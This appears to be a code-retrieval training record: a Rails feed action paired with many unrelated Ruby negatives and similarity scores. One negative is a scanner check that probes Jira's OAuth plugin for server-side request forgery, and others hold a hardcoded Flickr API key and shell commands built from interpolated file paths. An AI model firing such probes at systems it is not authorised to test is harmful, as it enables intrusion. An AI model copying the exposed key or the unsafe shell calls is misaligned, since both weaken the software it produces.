]\n\n data.each { |item|\n break if index >= max_items\n url = item[ 'thumbnail_src' ]\n image = MiniMagick::Image.open( url )\n index += 1 if crop_and_save_collage_image( image, index, path, collage )\n }\n\n while( has_next_page && (index < max_items) )\n uri = 'https://www.instagram.com/explore/tags/' + query_string.to_s\\\n + '?&max_id=' + max_id.to_s\n uri = 'https://www.instagram.com/' + query_string.to_s + '?&max_id='\\\n + max_id.to_s if query_type === 'user'\n b.goto uri\n o = b.execute_script( 'return window._sharedData;')\n o = extract_insta_data( o, query_type )\n data = o[ 'data' ]\n has_next_page = o[ 'has_next_page' ]\n max_id = o[ 'max_id' ]\n\n data.each { |item|\n break if index >= max_items\n url = item[ 'thumbnail_src' ]\n image = MiniMagick::Image.open( url )\n index += 1 if crop_and_save_collage_image( image, index, path, collage )\n }\n end\n b.close # IMPORTANT!\n rescue\n Rails.logger.info 'collages_helper - fetch_content() - Error scraping Instagram.'\n b.close\n end", "def process_site(site); end", "def follow_meta_refresh; end", "def follow_meta_refresh; end", "def parsetitle( titles, type, parentid )\n\n apiurl='http://en.wikipedia.org/w/api.php'\n\n ## resulthash\n links=Hash.new\n\n #### First query, no plcontinue\n query = { \n 'action'=>'query',\n 'prop'=>'info',\n 'redirects'=>'',\n 'inprop'=>'url',\n 'format'=>'json',\n }\n\n ### Separate by type\n case type\n when 0 \n #### seed\n continueterm='incontinue'\n query['titles'] = titles\n\n when 1 \n #### links\n continueterm='gplcontinue'\n linksterm='links'\n query['generator']=linksterm\n query['titles'] = titles\n query['gplnamespace'] = '0'\n query['gpllimit'] = 'max'\n \n when 2\n #### backlinks\n continueterm='gblcontinue'\n linksterm='backlinks'\n query['gbltitle'] = titles\n query['generator'] = 'backlinks'\n query['gblnamespace'] = '0'\n query['gbllimit'] = 'max'\n\n else \n puts \"This shouldn't happen.\"\n exit -1\n end\n # puts query\n # exit;\n \n\n postData = Net::HTTP.post_form(URI.parse(apiurl), query);\n \n ## parse and save result\n result = JSON.parse(postData.body)\n pages=result[\"query\"][\"pages\"].keys\n<<<<<<< HEAD\n \n=======\n\n i=0\n>>>>>>> ff128337f961ce2c8d1c7273ff20bd093e5188a6\n result[\"query\"][\"pages\"].each do |page|\n if page[1][\"title\"] != nil and page[1][\"length\"] != nil\n links[page[1][\"title\"]] = { \n \"length\" => page[1][\"length\"], \n \"url\"=>page[1][\"fullurl\"],\n \"pageid\"=>page[1][\"pageid\"],\n \"parentid\"=>parentid \n }\n<<<<<<< HEAD\n=======\n i=i+1;\n # if i>5 \n # break\n # end\n>>>>>>> ff128337f961ce2c8d1c7273ff20bd093e5188a6\n end\n end\n \n ### Keep going?\n while true\n if result[\"query-continue\"] == nil\n ##puts \"breaking\"\n break\n end\n ##puts \"didn't break\" \n \n plcontinue=result[\"query-continue\"][linksterm][continueterm]\n ## puts plcontinue\n query[continueterm] = plcontinue\n\n postData = Net::HTTP.post_form(URI.parse(apiurl), query);\n result = JSON.parse(postData.body)\n \n pages=result[\"query\"][\"pages\"].keys\n\n result[\"query\"][\"pages\"].each do |page|\n if page[1][\"title\"] != nil and page[1][\"length\"] != nil\n links[page[1][\"title\"]] = { \n \"length\" => page[1][\"length\"], \n \"url\"=>page[1][\"fullurl\"],\n \"pageid\"=>page[1][\"pageid\"],\n \"parentid\"=>parentid \n }\n end\n end\n end\n \n return links\nend", "def share_to_tumblr?\n self.tumblr_post_id == TumblrSharing::Underway\n end", "def extract_posts(doc, t)\n doc.search('post').each do |post|\n post_url = post['url']\n small_image_url = post.search('photo-url[@max-width=\"400\"]').first\n if small_image_url\n small_image_url = small_image_url.content\n max_image_url = post.search('photo-url[@max-width=\"1280\"]').first\n if max_image_url\n max_image_url = max_image_url.content\n end\n\n # try to locate a possible original blog\n via = nil\n link = post.search('photo-link-url').first\n if link\n link = validate_url(link.content)\n if link =~ TEST_TUMBLR_REGEX\n via = root_url(link)\n end\n end\n if via\n caption = post.search('photo-caption').first\n if caption\n Nokogiri::HTML.fragment(caption.content).search('a').each do |a|\n unless via\n href = a['href']\n if href && (href =~ TEST_TUMBLR_REGEX)\n via = root_url(href)\n end\n end\n end\n end\n end\n t_via =via ? (Tumblr.filter(:url => via).first || Tumblr.create(:url => via)) : nil\n unless Post.filter(:url => post_url).first\n Post.create(:url => post_url,\n :small_image_url => small_image_url,\n :max_image_url => max_image_url,\n :tumblr => t,\n :timestamp => Time.at(post['unix-timestamp'].to_i).send(:to_datetime),\n :via => t_via)\n end\n else\n p post\n end\n end\n end", "def who_we_are\r\n end", "def mitch_hedberg; end", "def test_ID_25890_published_posts_01\n login $user_1_email, $master_password\n go_to_edit_profile_page\n $profiles_your_posts.click\n postCount = count_post_current\n if (postCount < 5)\n i=1\n while i < 5\n $browser.goto($patch_note)\n \t$post_pick_group.when_present().click\n \t$browser.link(:text, Regexp.new(groupName)).click\n \t$post_compose_note.when_present().set(\"Note field populated by automated test.\")\n \t$post_now_button.when_present().click\n i = i+1\n end\n end \n end", "def processor; end", "def find_photo_by_machinetag(plaque, flickr_user_id)\n# key = FLICKR_KEY # \"86c115028094a06ed5cd19cfe72e8f8b\"\n key = \"86c115028094a06ed5cd19cfe72e8f8b\"\n content_type = \"1\" # Photos only\n machine_tag_key = \"openplaques:id=\".to_s\n if (plaque)\n machine_tag_key += plaque.id.to_s\n end\n\n flickr_url = \"https://api.flickr.com/services/rest/\"\n method = \"flickr.photos.search\"\n license = \"1,2,3,4,5,6,7\" # All the CC licencses that allow commercial re-use\n\n 20.times do |page|\n\n url = flickr_url + \"?api_key=\" + key + \"&method=\" + method + \"&page=\" + page.to_s + \"&license=\" + license + \"&content_type=\" + content_type + \"&machine_tags=\" + machine_tag_key + \"&extras=date_taken,owner_name,license,geo,machine_tags\"\n\n if (flickr_user_id)\n url += \"&user_id=\" + flickr_user_id\n end\n puts url\n\n new_photos_count = 0\n response = open(url)\n doc = REXML::Document.new(response.read)\n doc.elements.each('//rsp/photos/photo') do |photo|\n print \".\"\n $stdout.flush\n\n @photo = nil\n\n file_url = \"http://farm\" + photo.attributes[\"farm\"] + \".staticflickr.com/\" + photo.attributes[\"server\"] + \"/\" + photo.attributes[\"id\"] + \"_\" + photo.attributes[\"secret\"] + \"_z.jpg\"\n photo_url = \"http://www.flickr.com/photos/\" + photo.attributes[\"owner\"] + \"/\" + photo.attributes[\"id\"] + \"/\"\n\n @photo = Photo.find_by_url(photo_url)\n\n if @photo\n else\n plaque_id = photo.attributes[\"machine_tags\"][/openplaques\\:id\\=(\\d+)/, 1]\n\n puts photo.attributes[\"title\"]\n\n @plaque = Plaque.find(:first, :conditions => {:id => plaque_id})\n if @plaque\n @photo = Photo.new\n @photo.plaque = @plaque\n @photo.file_url = file_url\n @photo.url = photo_url\n @photo.taken_at = photo.attributes[\"datetaken\"]\n @photo.photographer_url = photo_url = \"http://www.flickr.com/photos/\" + photo.attributes[\"owner\"] + \"/\"\n @photo.photographer = photo.attributes[\"ownername\"]\n if photo.attributes[\"license\"] == \"4\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by/2.0/\")\n elsif photo.attributes[\"license\"] == \"6\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nd/2.0/\")\n elsif photo.attributes[\"license\"] == \"3\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nc-nd/2.0/\")\n elsif photo.attributes[\"license\"] == \"2\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nc/2.0/\")\n elsif photo.attributes[\"license\"] == \"1\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nc-sa/2.0/\")\n elsif photo.attributes[\"license\"] == \"5\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-sa/2.0/\")\n elsif photo.attributes[\"license\"] == \"7\"\n @photo.licence = Licence.find_by_url(\"http://www.flickr.com/commons/usage/\")\n elsif photo.attributes[\"license\"] == \"0\"\n @photo.licence = Licence.find_by_url(\"http://en.wikipedia.org/wiki/All_rights_reserved/\")\n else\n puts \"Couldn't find license\"\n end\n if @photo.save\n new_photos_count += 1\n puts \"New photo found and saved\"\n else\n# puts \"Error saving photo\" + @photo.errors.each_full{|msg| puts msg }\n end\n\n if photo.attributes[\"latitude\"] != \"0\" && photo.attributes[\"longitude\"] != \"0\" && [email protected]?\n puts \"New geolocation found\"\n @plaque.latitude = photo.attributes[\"latitude\"]\n @plaque.longitude = photo.attributes[\"longitude\"]\n if @plaque.save\n puts \"New geolocation added to photo\"\n else\n puts \"Error adding geolocation to photo\" + plaque.errors.full_messages.to_s #methods.join(\" \")\n end\n end\n else\n puts \"Photo's machine tag doesn't match a plaque.\"\n end\n end\n end\n end\n end", "def push_url(cu, rs) # <- live out\n if @pa.setting['layout'].blank?\n erb_layout = File.open(\"#{Rails.root}/lib/out/github/layout/jekyll.erb\").read\n else\n erb_layout = File.open(\"#{Rails.root}/lib/out/github/layout/#{@pa.setting['layout']}.erb\").read\n end\n time = Time.now\n\n l=Hash[\n @cpfs.map{|i| \n [\n i[:name], \n [i, rs.select{|ii| ii[:field_id] == i[:id]}[0] ]\n ]\n }\n ]\n\n if !l['image'].blank? && l['image'][0][:setting][:download] == 'true'\n if !l['image'][1].blank? && !l['image'][1][:result_text].blank?\n prefix = \"#{Rails.root}/public\"\n file = File.read(prefix + l['image'][1][:result_text])\n name = l['image'][1][:result_text].split(\"/\")[-1]\n create(\"img/#{name}\", file)\n image_tag = \"<img src=\\\"/img/#{name}\\\">\"\n else\n image_tag = ''\n end\n elsif !l['image'].blank? && l['image'][0][:setting]['download'] == 'false'\n image_tag = ''\n else\n image_tag = ''\n end\n \n template = Erubis::Eruby.new(erb_layout).result({:l =>l, :time_now => time, :image_tag => image_tag})\n path = \"_posts/#{time.strftime('%Y-%m-%d')}-#{time.to_i}.html\"\n create(path, template)\n end", "def weber; end", "def punch_slug; end", "def punch_slug; end", "def pinterest_share_button(picture, attributes = { :class => 'pinterest-share' })\n options = {\n :url => picture_url(picture),\n :media => URI.join(root_url, picture.image.url),\n :description => picture.dressing_tips\n }\n attributes[:target] = '_blank'\n attributes[:title] = t('social_media.share_on_pinterest')\n link_to image_tag('icons/pinterest.png'), pinterest_share_url(options), attributes\n end", "def scrape_it\n \n end", "def set_image_title\n controller_name == 'temp_listings' ? '' : 'Pin it @ Pinterest'\n end", "def shard_world; end", "def starship; end", "def get_book_snippet(book)\nend", "def posts; end", "def extract_code_to_gists(request)\n\n end", "def format_post(post)\n # Look at \"post-info.png\" for details on what's in the post array\n title = post['title']\n score = post['score']\n author = post['author']\n url = post['url']\n preview = post['thumbnail']\n \"`#{CGI.unescapeHTML(title)}`, Score: `#{score}`, By `u/#{author}`, @ #{url}\"\nend", "def locate_pins(location); end", "def show\n @sci = Post.limit(4).order('created_at ASC')\n @latest = Post.limit(6).order('created_at DESC')\n @popular2 = Post.limit(6).order(\"RANDOM()\")\n @footer = Post.limit(3).order('created_at DESC')\n @footer2 = Post.limit(3).order(\"RANDOM()\")\n @also = Post.limit(4).order(\"RANDOM()\")\n\n prepare_meta_tags(site: 'The Shedonist',\n title: @post.title,\n description: @post.body,\n image: @post.image,\n twitter: {card: \"summary_large_image\"})\n\n end", "def post_commit_image\n v1 = params[:blog_post][:initiated_at]\n\n v2 = %{\n insert into blog_post\n (initiated_at)\n values\n ($1)\n on conflict\n do nothing\n returning\n initiated_at::text\n ;\n }\n\n V3::U.qq(v2, [v1])\n\n v3 = v1.parameterize\n v4 = params[:blog_post][:attachment]\n v5 = v4.path\n v6 = v4.original_filename\n v7 = File.extname(v6).downcase\n v8 = File.basename(v6, v7)\n v9 = v8.parameterize + v7\n v10 = Rails.root.join('..', '..', 'shared', 'public', 'blog-post-images', v3, 'sources')\n v11 = Rails.root.join('..', '..', 'shared', 'public', 'blog-post-images', v3, 'thumbnails')\n v12 = v10.join(v9)\n v13 = v11.join(v9)\n\n FileUtils.mkdir_p(v10)\n FileUtils.mkdir_p(v11)\n FileUtils.mv(v5, v12)\n\n File.chmod(0744, v12)\n\n # Always create a thumbnail 128x128px wide, for use with the admin UI.\n #\n `convert #{v12} -resize 128x128! #{v13}`\n\n v14 = Pathname.new('/blog-post-images/' + v3 + '/sources/' + v9)\n v15 = Pathname.new('/blog-post-images/' + v3 + '/thumbnails/' + v9)\n v16 = `identify -format \"%wx%h\" #{v12}`\n v17 = v16.split('x')\n v18 = `identify -format \"%wx%h\" #{v13}`\n v19 = v18.split('x')\n v20 = File.size(v12)\n v21 = File.size(v13)\n\n v22 = %{\n insert into blog_post_image\n (initiated_at, file_name, type, path, src, width, height, bytes, cover)\n values\n ($1, $2, $3, $4, $5, $6, $7, $8, default)\n ;\n }\n\n V3::U.qq(v22, [v1, v9, 'source', v12, v14, v17[0], v17[1], v20])\n V3::U.qq(v22, [v1, v9, 'thumbnail', v13, v15, v19[0], v19[1], v21])\n\n v23 = {\n file_name: v9,\n images: {\n \"#{v9}\": [\n [v14.to_s, 'source', v17[0], v17[1]],\n [v15.to_s, 'thumbnail', 128, 128]\n ]\n },\n dimensions: {\n \"#{v9}\": {\n source_width: v17[0],\n source_height: v17[1],\n custom_width: nil,\n custom_height: nil\n }\n },\n thumbnails: {\n \"#{v9}\": v15.to_s\n },\n selected_image_dims: {\n \"#{v9}\": \"#{v17[0]}x#{v17[1]}\"\n },\n image_links: {\n \"#{v9}\": {\n \"#{v17[0]}x#{v17[1]}\": {\n a: v14.to_s,\n b: %{<a href=\"#{v14.to_s}\"><img src=\"#{v14.to_s}\" /></a>}\n },\n \"#{v19[0]}x#{v19[1]}\": {\n a: v15.to_s,\n b: %{<a href=\"#{v14.to_s}\"><img src=\"#{v15.to_s}\" /></a>}\n }\n }\n }\n }\n\n render(json: v23.to_json)\nend", "def build_tag_cloud(tag_cloud, style_list)\nmax, min = 0, 0\ntag_cloud.each do |tag|\nmax = tag.popularity.to_i if tag.popularity.to_i > max\nmin = tag.popularity.to_i if tag.popularity.to_i < min\nend\n\ndivisor = ((max - min) / style_list.size) + 1\n\ntag_cloud.each do |tag|\nyield tag.name, style_list[(tag.popularity.to_i - min) / divisor]\nend\nend", "def connect_nearby_herds\n\n end", "def hit; end", "def test_monkey_multi_with_enhanced_mip_sorting\n skip('Sorting by tags is not implemented at this time.')\n\n # Upload 6 images to test sorting.\n image1 = upload_and_link_image('int_xxid', @int_xxid, @user.oauth_token)\n image2 = upload_and_link_image('int_xxid', @int_xxid, @user.oauth_token)\n image3 = upload_and_link_image('int_xxid', @int_xxid, @user.oauth_token)\n image4 = upload_and_link_image('int_xxid', @int_xxid, @user.oauth_token)\n image5 = upload_and_link_image('int_xxid', @int_xxid, @user.oauth_token)\n image6 = upload_and_link_image('int_xxid', @int_xxid, @user.oauth_token)\n\n # Test default sorting\n get_images_from_int_xxids(@int_xxid)\n assert_response(@response, :success)\n\n relations = @parsed_response['relations']\n expected_order = [image6, image5, image4, image3, image2, image1]\n actual_order = relations.map {|rel| rel['id']}\n assert_equal(expected_order, actual_order)\n\n # Add tags/primary to adjust sorting.\n params = {\n 'api_key' => @api_key,\n 'primary' => 'true'\n }\n\n post \"/b_image/#{image1}/int_xxid/#{@int_xxid}\", params\n assert_response(@response, :success)\n\n params = {\n 'api_key' => @api_key,\n 'tags' => {\n 'cover' => 'true'\n }\n }\n\n post \"/b_image/#{image2}/int_xxid/#{@int_xxid}\", params\n assert_response(@response, :success)\n\n params = {\n 'api_key' => @api_key,\n 'tags' => {\n 'profile' => 'true'\n }\n }\n\n post \"/b_image/#{image3}/int_xxid/#{@int_xxid}\", params\n assert_response(@response, :success)\n\n params = {\n 'api_key' => @api_key,\n 'tags' => {\n 'logo' => 'true'\n }\n }\n\n post \"/b_image/#{image4}/int_xxid/#{@int_xxid}\", params\n assert_response(@response, :success)\n\n post \"/b_image/#{image5}/int_xxid/#{@int_xxid}\", params\n assert_response(@response, :success)\n\n # Test sorting with tags and primary\n get_images_from_int_xxids(@int_xxid)\n assert_response(@response, :success)\n\n relations = @parsed_response['relations']\n expected_order = [image1, image2, image3, image5, image4, image6]\n actual_order = relations.map {|rel| rel['id']}\n assert_equal expected_order, actual_order\n end", "def get_interest_rank\n \n rank = (self.stories.count * 2) + (self.adding_users.count * 5)\n\n end", "def third_party_processors; end", "def schubert; end", "def update\n # Flickr Personal Favorites Set\n # NOTE: Page count verified 2015-07-22\n (1...3).each do |page|\n print_data = { flickr: \"42027916@N00\", set: \"72157601200827657\", page: page, images: count }\n logging.info print_data.inspect\n begin\n resp = flickr.photosets.getPhotos(photoset_id: \"72157601200827657\", extras: \"url_n\", page: page)\n favorites = resp[\"photo\"].map { |p| \"https://www.flickr.com/photos/#{resp[\"owner\"]}/#{p[\"id\"]}\" }\n bulk_add favorites\n rescue StandardError\n logging.error \"Failed to get.\"\n end\n end\n\n # DA Favorites\n # NOTE: Offset count verified 2015-07-22\n (0..6000).step(60) do |offset|\n rss_url = \"https://backend.deviantart.com/rss.xml?q=favby%3Acalvin166%2F1422412&type=deviation&offset=#{offset}\"\n print_data = { deviant: \"calvin166\", offset: offset, images: count }\n logging.info print_data.inspect\n URI.parse(rss_url).open do |rss|\n feed = RSS::Parser.parse(rss)\n items = feed.items.map(&:link)\n bulk_add items\n end\n end\n\n # Flickr Favorites\n # http://www.flickr.com/services/api/misc.urls.html\n # NOTE: Page count verified 2015-07-22\n (1..30).each do |page|\n print_data = { flickr: \"42027916@N00\", page: page, images: count }\n logging.info print_data.inspect\n\n favorites = flickr.favorites.getPublicList(user_id: \"42027916@N00\", extras: \"url_n\", page: page)\n favorites = favorites.map { |p| \"https://www.flickr.com/photos/#{p[\"owner\"]}/#{p[\"id\"]}\" }\n bulk_add favorites\n end\n\n # VeryGoods.co\n domain = \"https://verygoods.co/site-api-0.1\"\n url = \"#{domain}/users/icco/goods?limit=20\"\n while url\n print_data = { verygoods: url, images: count }\n logging.info print_data.inspect\n\n j = URI.parse(url).open\n data = Oj.compat_load(j)\n url = (domain + data[\"_links\"][\"next\"][\"href\"] if data[\"_links\"][\"next\"])\n\n products = data[\"_embedded\"][\"goods\"].map do |g|\n \"https://verygoods.co#{g[\"_links\"][\"product\"][\"href\"].gsub(/products/, \"product\")}\"\n end\n bulk_add products\n end\n\n # Twitter\n options = { count: 200 }\n twitter_collect_with_max_id do |t_max_id|\n options[:max_id] = t_max_id unless t_max_id.nil?\n print_data = { twitter: \"icco\", max_id: t_max_id, images: count }\n logging.info print_data.inspect\n begin\n ImageDB.twitter_client.favorites(options).each do |t|\n add t.uri.to_s if valid_twitter_users.include? t.user.screen_name.downcase\n end\n rescue Twitter::Error::TooManyRequests => e\n logging.warn \"Twitter rate limit hit. Sleeping for #{e.rate_limit.reset_in + 1}\"\n sleep e.rate_limit.reset_in + 1\n retry\n end\n end\n\n true\n end", "def base_popularity\n 10\n end", "def identify; end", "def disclosure_of_interests\n # blank\n end", "def images_across_projs\n # return a list of Images (only) that are linked through ImageDescriptions, spanning all projects\n # Image.find(:all) \n false\n end", "def test03_L1DLT03_TC_24418\n\t\t#skipping for now, currently unable to interact with the \"Like\" button\n\tend", "def permalink_style=(_arg0); end", "def github(candidate)\n candidate[:github_points] >= 100\nend", "def snip\n @app.soup[snip_name]\n end", "def spice; end", "def run\n super\n\n # first, ensure we're fingerprinted\n require_enrichment\n\n uri = _get_entity_name\n html = http_get_body(\"https://URL/plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.whatismyip.com/\")\n \n if html =~ /<title>What Is My IP/ \n _create_linked_issue(\"atlassian_jira_oauth_plugin_ssrf\", {\n proof: {\n response_body: html\n }\n })\n end\n \n end", "def test_ID_25890_published_posts_01\n login_as_user1\n go_to_edit_profile_page\n $profile_your_posts.click\n sleep 5\n publish_post_if_not_found(\"Sports\",\"Basketball\")\n end", "def wordpress_sync\n end", "def wagner; end", "def post_info(url)\n doc = Nokogiri::HTML(open(url))\n content = doc.css('div.entry-content')\n fix_img_url(content)\n title = doc.css('header h1.entry-title').inner_html\n categories = doc.css('a.category').collect do |link| link.content end\n return title, content.to_s, categories\nend", "def interest_in_article(article)\n \n end", "def create_data_hash(doc)\n data = {}\n doc.css('span.p-name').each do |link|\n data[:name] = link.content\n end\n data[:github_account] = doc.search('meta')[2].attribute('content').value.split('-')[1]\n data[:picture_url] = doc.css('img.avatar-user').find do |picture|\n picture.attributes['width'].value.include?('260')\n end.attributes['src'].value\n data[:about] = doc.search('meta')[2].attribute('content').value.split('-')[0]\n pinned_repos_urls_array = []\n doc.css('div.js-pinned-items-reorder-container a span').each do |span|\n pinned_repos_urls_array << \"https://github.com/#{data[:github_account]}#{span.attribute('title')}\"\n end\n data[:pinned_repos_urls] = pinned_repos_urls_array\n data[:conterbutions] = doc.css('h2.f4.text-normal')[1].content.split('c')[0].strip\n data\nend", "def locate_pins(params); end", "def follow_meta_refresh_self; end", "def follow_meta_refresh_self; end", "def post_process; end", "def generated_permalink; end", "def hpricot? ; false end", "def load_from_gist(url, version_id)\n\nend", "def verify_pinterest_post\n return @page.has_content?(@message_content)\n end", "def github?(candidate)\n candidate[:github_points] >= 100\nend", "def share_icons_page(url_or_story_obj, opts={})\n # Resolve a relative path to an absolute url\n url_or_story_obj = LocalSite.home_page(@local_site) + url_or_story_obj if url_or_story_obj.class == String && url_or_story_obj !~ %r{^https?:}\n\n opts[:class] ||= \"share_page_tools\"\n\t\tdisplay = \"<div class=\\\"#{opts[:class]}\\\">\"\n\t\tdisplay += \"#{fb_like_iframe(url_or_story_obj, :type => opts[:page_type], :layout => opts[:fb_like_layout], :show_faces => opts[:fb_like_show_faces], :width => opts[:fb_like_width], :height => opts[:fb_like_height])}\" unless opts[:fb_like_below]\n #---- No Facebook Share anymore since FB has deprecated that in favour of FB like ---\n\t\t#display += fb_share_link(url_or_story_obj, :type => opts[:fb_share_type]) + \n\t\tdisplay += tweet_page(url_or_story_obj, :tweet_text => opts[:tweet_text], :link_text => opts[:twitter_link_text], :type => opts[:page_type], :toolbar => opts[:toolbar]) + \n \t\temail_page(url_or_story_obj, :link_text => opts[:email_link_text], :class => opts[:email_class], :title => opts[:email_title], :type => opts[:page_type], :toolbar => opts[:toolbar]) +\n \t\taddthis_page(url_or_story_obj, :link_text => opts[:addthis_link_text], :type => opts[:page_type])\n \t\tdisplay += \"<div style=\\\"clear:both; padding-top:14px\\\">#{fb_like_iframe(url_or_story_obj, :layout => opts[:fb_like_layout], :show_faces => opts[:fb_like_show_faces], :width => opts[:fb_like_width], :height => opts[:fb_like_height])}</div>\" if opts[:fb_like_below]\n display += \t\"</div>\"\n\tend", "def publication_place\n end", "def scrape\n end", "def is_photo_link(link)\n\t\n\tif \t(link.include?(\"pinterest.com\") ) \n\t\treturn true;\n\tend\n\tif\t(link.include?(\"flickr.com\") ) \n\t\treturn true;\n\tend\n\tif\t(link.include?(\"deviantart.com\") ) \n\t\treturn true;\n\tend\n\tif\t(link.include?(\"fotolog.com\") ) \n\t\treturn true;\n\tend\n\tif\t(link.include?(\"shutterfly.com\") ) \n\t\treturn true;\n\tend\n\tif\t(link.include?(\"panoramio.com\") ) \n\t\treturn true;\n\tend\n\tif\t(link.include?(\"photobucket.com\") ) \n\t\treturn true;\n\tend\n\n\treturn false;\t\n\nend", "def herebody_s; end", "def hunt_for_wiki_image_in links, agent\n return\n links.each{|l| puts l.href}\n STDIN.gets\n if links = links.compact.select{|l| l.href =~ /(?!book)(.*)F.*jl.*(jpg|png|gif|JPG|PNG|GIF)/}\n unless links.empty?\n link = agent.get( \"#{WIKIPEDIA_MAIN}#{links[ rand(links.size) ]}\" ).links.select{|l| l.href =~ /.*\\.(jpg|png|gif|JPG|PNG|GIF).*/}.first.href\n\n push_to_freeblog(@@settings[:freeblog].first,@@settings[:freeblog].last,link)\n else\n puts 'nincs kép'\n end\n end\nend", "def buildUserPostContent\n threadForUserPosts do |account,post|\n begin\n # Get HTML content\n tag = getTag(post.attributes['tag']) \n content = createUserContent post.attributes['href'],\n tag,\n DeliciousConnector::displayContent(post.attributes['href'])\n account.addContent(content)\n #writeUserContentToFile user,post.attributes['href'],post.get_attribute('tag'),content \n rescue => e\n puts \"[Warning]: Failed to retrieve content at #{post.attributes['href']} for '#{account.user}' : [#{e}]\"\n end\n end \n end", "def extract_related_content\n end", "def featured(number)\n \nend", "def crawl_flickr(group_id='74191472@N00')\n \n key = \"86c115028094a06ed5cd19cfe72e8f8b\" # FLICKR_KEY\n content_type = \"1\" # Photos only\n flickr_url = \"https://api.flickr.com/services/rest/\"\n method = \"flickr.photos.search\"\n jez = User.find(2)\n black = Colour.find_by_name('black')\n english = Language.find_by_name('English')\n new_photos_count = 0\n \n 19.times do |page|\n puts page.to_s\n url = flickr_url + \"?api_key=\" + key + \"&method=\" + method + \"&page=\" + page.to_s + \"&per_page=5&content_type=\" + content_type + \"&extras=date_taken,owner_name,license,geo,description\"\n if group_id\n url += \"&group_id=\" + group_id\n end\n response = open(url)\n doc = REXML::Document.new(response.read)\n doc.elements.each('//rsp/photos/photo') do |photo|\n print \".\"\n $stdout.flush\n @photo = nil\n file_url = \"http://farm\" + photo.attributes[\"farm\"] + \".staticflickr.com/\" + photo.attributes[\"server\"] + \"/\" + photo.attributes[\"id\"] + \"_\" + photo.attributes[\"secret\"] + \"_z.jpg\"\n photo_url = \"http://www.flickr.com/photos/\" + photo.attributes[\"owner\"] + \"/\" + photo.attributes[\"id\"] + \"/\"\n @photo = Photo.find_by_url(photo_url)\n inscription_is_stub = true\n if photo.attributes[\"title\"]!=nil\n subject = photo.attributes[\"title\"].split(\",\")[0].split(\"()\")[0].rstrip.lstrip + \".\"\n inscription = subject\n end\n if photo.elements[\"description\"].text != nil && photo.elements[\"description\"].text.length > 50\n inscription << \" \" + photo.elements[\"description\"].text\n end\n if @photo\n puts \"photo already exists in Open Plaques\"\n else\n # Plaque find by location and name if already exists.....\n# 32.76696, -94.348526\n# 32.766955, -94.348472\n # Plaque.find_or_create_by_???\n @plaque = Plaque.new(:inscription => inscription, :user => jez, :inscription_is_stub => inscription_is_stub, :colour => black, :language => english)\n @plaque.location = Location.new(:name => 'somewhere in Texas')\n # the Flickr woeids appear to be at town level, so can only create an area from them\n woeid = photo.attributes[\"woeid\"]\n if woeid != nil\n area = Area.find_or_create_by_woeid(woeid)\n if area != nil\n @plaque.location.area = area\n else\n puts \"error: provided woeid \" + woeid + \" but got no area back\"\n end\n end\n if @plaque\n @photo = Photo.new\n @photo.plaque = @plaque\n @photo.file_url = file_url\n @photo.url = photo_url\n @photo.taken_at = photo.attributes[\"datetaken\"]\n @photo.photographer_url = photo_url = \"http://www.flickr.com/photos/\" + photo.attributes[\"owner\"] + \"/\"\n @photo.photographer = photo.attributes[\"ownername\"]\n @photo.licence = Licence.find_by_flickr_licence_id(photo.attributes[\"license\"])\n if photo.attributes[\"latitude\"] != \"0\" && photo.attributes[\"longitude\"] != \"0\" && [email protected]?\n @plaque.latitude = photo.attributes[\"latitude\"]\n @plaque.longitude = photo.attributes[\"longitude\"]\n end\n if @plaque.save\n puts \"New plaque and photo added\"\n else\n puts \"Error adding plaque \" + @plaque.errors.full_messages.to_s\n end\n if @photo.save\n puts \"New photo found and saved\"\n else\n puts \"Error saving photo\" + @photo.errors.each_full{|msg| puts msg }\n end\n end\n end\n end\n end\n end", "def executor; end", "def executor; end", "def executor; end" ]
[ "0.55907947", "0.5410634", "0.5395125", "0.5309598", "0.5225481", "0.5223452", "0.51930684", "0.5179948", "0.5123283", "0.508204", "0.508204", "0.50796705", "0.50747347", "0.5031891", "0.50206286", "0.50136125", "0.50069314", "0.49966723", "0.49904087", "0.4979701", "0.49787408", "0.4977623", "0.4969941", "0.4956789", "0.49450186", "0.4938007", "0.49333212", "0.4924014", "0.4915339", "0.49139035", "0.49139035", "0.49049973", "0.4899619", "0.48906758", "0.48850116", "0.48797163", "0.4858435", "0.48457694", "0.4844709", "0.48403534", "0.4838098", "0.48332676", "0.48332676", "0.48324758", "0.48312494", "0.48271018", "0.48230162", "0.48140457", "0.4813959", "0.48137668", "0.48069358", "0.48015335", "0.4794677", "0.47922736", "0.47895107", "0.4786169", "0.47856092", "0.47847062", "0.4783296", "0.4781834", "0.47809517", "0.47774506", "0.4776254", "0.4771493", "0.47655702", "0.47581878", "0.47568733", "0.47559714", "0.47556436", "0.47552964", "0.4750832", "0.47458848", "0.47410163", "0.473972", "0.47360978", "0.47348732", "0.4733945", "0.47330454", "0.47311953", "0.47300366", "0.47283578", "0.47283578", "0.472763", "0.47271067", "0.47128496", "0.47044757", "0.4703816", "0.46979642", "0.46976167", "0.46957776", "0.46956733", "0.46944746", "0.46915528", "0.46909195", "0.4688908", "0.46837726", "0.46833345", "0.4681358", "0.46787778", "0.46787778", "0.46787778" ]
0.0
-1
Responds with a feed summarising what has been happening on Blavel recently. Parameters:: everybody Route:: GET /feed/everybody or GET /
def feed # If the user is not logged in, render the non-member home action if !current_user render :template => 'promo/home', :layout => 'empty' else @everybody = params[:everybody] # If the everybody flag is set, respond with feed items about everybody # on Blavel # Otherwise, respond with feed items only about the people that the # current user is following if @everybody @feed_items = gather_feed_items else @feed_items = gather_feed_items(current_user) end # Pass through the first 5 followers and the first 5 followees, all # randomised @followers = current_user.followers.sort_by { rand }.first(6) @followees = current_user.followees.sort_by { rand }.first(6) # Respond with html or javascript, depending on whether it is requested # via ajax or not respond_to do |format| format.html format.js { render :template => 'feeds/feed.js.erb', :layout => false } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
